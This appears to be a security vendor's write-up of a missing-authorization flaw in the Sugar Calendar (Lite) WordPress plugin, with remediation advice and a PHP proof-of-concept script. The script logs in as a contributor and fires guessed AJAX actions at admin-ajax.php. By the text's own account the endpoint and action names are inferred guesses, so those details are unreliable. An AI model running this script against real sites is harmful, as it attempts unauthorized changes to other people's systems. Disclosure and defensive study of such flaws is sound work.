Atomic Edge analysis of CVE-2026-24636 (metadata-based):
This vulnerability is a missing authorization flaw in the Sugar Calendar (Lite) WordPress plugin versions up to and including 3.10.1. The plugin fails to verify user capabilities before executing a specific function. This allows authenticated attackers with contributor-level permissions or higher to perform unauthorized actions.
Atomic Edge research infers the root cause is a missing capability check on a WordPress hook handler. The CWE-862 classification indicates the plugin likely registers an AJAX action, REST endpoint, or admin-post handler without verifying the current user has appropriate permissions. The vulnerability description confirms the missing check exists but does not specify the exact function. This analysis concludes the flaw involves a privilege check omission rather than a nonce validation bypass, as the description focuses solely on capability verification.
Exploitation requires an authenticated attacker with at least contributor-level access. The attacker would send a crafted HTTP request to the vulnerable endpoint. Based on WordPress plugin patterns, the endpoint is likely /wp-admin/admin-ajax.php with an action parameter containing a plugin-specific hook like ‘sugar_calendar_lite_action’. Alternatively, the endpoint could be a REST API route under /wp-json/sugar-calendar-lite/. The attacker would send a POST request with parameters that trigger the unauthorized action. No special payload encoding is required because the vulnerability stems from missing authorization, not injection.
Remediation requires adding a capability check before executing the vulnerable function. The plugin should verify the current user has the required permissions using WordPress functions like current_user_can(). The check must validate against appropriate capabilities such as ‘manage_options’ for administrative actions or ‘edit_posts’ for content-related operations. The fix should also include proper nonce verification if the endpoint handles state-changing operations.
The impact is limited to integrity violation with no confidentiality or availability loss. Attackers can perform unauthorized actions within the plugin’s functionality. These actions could include modifying calendar events, changing settings, or deleting data depending on the vulnerable function’s purpose. The CVSS vector confirms this assessment with low impact scores for confidentiality and availability but moderate impact for integrity.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-24636 - Sugar Calendar (Lite) <= 3.10.1 - Missing Authorization
<?php
/**
* Proof of Concept for CVE-2026-24636
* Assumptions based on metadata analysis:
* 1. Vulnerable endpoint is WordPress AJAX handler
* 2. Action parameter contains plugin-specific prefix
* 3. No capability check exists before function execution
* 4. Contributor-level authentication required
*/
$target_url = 'https://example.com/wp-admin/admin-ajax.php';
$username = 'contributor_user';
$password = 'contributor_password';
// Step 1: Authenticate to obtain WordPress cookies
$login_url = str_replace('admin-ajax.php', 'wp-login.php', $target_url);
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $login_url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_COOKIEJAR => '/tmp/cookies.txt',
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url,
'testcookie' => '1'
]),
CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded']
]);
$response = curl_exec($ch);
// Step 2: Exploit missing authorization via AJAX endpoint
// The exact action name is unknown but likely follows plugin naming patterns
$possible_actions = [
'sugar_calendar_lite_action',
'sc_lite_action',
'sugar_calendar_action',
'sc_action'
];
foreach ($possible_actions as $action) {
curl_setopt_array($ch, [
CURLOPT_URL => $target_url,
CURLOPT_POSTFIELDS => http_build_query([
'action' => $action,
'data' => 'unauthorized_payload'
]),
CURLOPT_COOKIEFILE => '/tmp/cookies.txt'
]);
$ajax_response = curl_exec($ch);
echo "Testing action: $actionn";
echo "Response: $ajax_responsenn";
// Check for successful exploitation indicators
if (strpos($ajax_response, 'success') !== false ||
strpos($ajax_response, '1') !== false ||
strpos($ajax_response, 'true') !== false) {
echo "Potential successful exploitation with action: $actionn";
break;
}
}
curl_close($ch);
unlink('/tmp/cookies.txt');
?>
